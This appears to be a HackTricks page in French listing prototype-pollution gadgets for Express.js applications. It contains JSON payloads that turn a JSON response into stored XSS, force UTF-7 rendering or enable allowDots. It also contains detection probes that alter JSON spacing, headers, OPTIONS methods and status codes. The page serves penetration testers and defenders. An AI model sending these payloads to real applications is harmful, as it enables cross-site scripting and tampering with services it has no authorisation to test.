Gadgets de Pollution de Prototype Express
Reading time: 5 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Servir des réponses XSS
Pour plus de détails jetez un œil à la recherche originale
Changer le type de contenu JSON en HTML
Dans une application Express utilisant une réponse de type contenu JSON et réfléchissant un JSON :
app.use(bodyParser.json({ type: "application/json" }))
app.post("/", function (req, res) {
_.merge({}, req.body)
res.send(req.body)
})
Dans ces cas, le XSS n'est normalement pas possible avec un type de contenu JSON. Cependant, avec la pollution de prototype, nous pouvons confondre Express pour servir une réponse HTML. Cette vulnérabilité repose sur l'application utilisant res.send(obj)
et utilisant le parseur de corps avec le type de contenu application/json.
{ "__proto__": { "_body": true, "body": "<script>evil()" } }
En polluant les propriétés body
et _body
, il est possible de faire en sorte qu'Express serve le type de contenu HTML et reflète la propriété _body
, entraînant un XSS stocké.
Rendre UTF7
Il est possible de faire en sorte qu'Express rende le contenu UTF-7 avec :
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }
Techniques de scan sûres
Espaces JSON
Le PP suivant ajoutera un espace supplémentaire aux attributs à l'intérieur d'un JSON, ce qui ne perturbera pas la fonctionnalité :
{ "__proto__": { "json spaces": " " } }
Alors, un JSON réfléchi ressemblera à :
{"foo": "bar"} -- Note the extra space
En-têtes exposés
Le gadget PP suivant fera en sorte que le serveur renvoie l'en-tête HTTP : Access-Control-Expose_headers: foo
{ "__proto__": { "exposedHeaders": ["foo"] } }
Il nécessite que le module CORS soit installé
Méthode OPTIONS
Avec le payload suivant, il est possible de cacher une méthode d'une réponse OPTIONS :
// Original reponse: POST,GET,HEAD
// Payload:
{"__proto__":{"head":true}}
//New response: POST;GET
Statut
Il est possible de changer le code de statut retourné en utilisant le payload PP suivant :
{ "__proto__": { "status": 510 } }
Erreur
Lorsque vous assignez à un prototype avec un primitif tel qu'une chaîne, cela produit une opération no-op car le prototype doit être un objet. Si vous essayez d'assigner un objet prototype à Object.prototype
lui-même, cela lancera une exception. Nous pouvons utiliser ces deux comportements pour détecter si la pollution du prototype a réussi :
;({}).__proto__.__proto__ = {}(
//throws type exception
{}
).__proto__.__proto__ = "x" //no-op does not throw exception
Valeur réfléchie
Lorsqu'une application inclut un objet dans sa réponse, créer un attribut avec un nom inhabituel en plus de __proto__
peut être révélateur. En particulier, si seul l'attribut inhabituel est renvoyé dans la réponse, cela pourrait indiquer la vulnérabilité de l'application :
{ "unusualName": "value", "__proto__": "test" }
De plus, dans des scénarios où une bibliothèque comme Lodash est utilisée, définir une propriété à la fois via la pollution de prototype (PP) et directement à l'intérieur de l'objet offre une autre approche de diagnostic. Si une telle propriété est omise de la réponse, cela suggère que Lodash vérifie l'existence de la propriété dans l'objet cible avant de fusionner :
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
Divers
Autoriser les points
Il existe une option dans Express qui vous permet de créer des objets à partir des paramètres de la chaîne de requête.
Vous pourriez certainement l'utiliser dans une chaîne de bogues pour exploiter une vulnérabilité de pollution de prototype.
{ "__proto__": { "allowDots": true } }
?foo.bar=baz
crée un objet dans Node.
Références
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.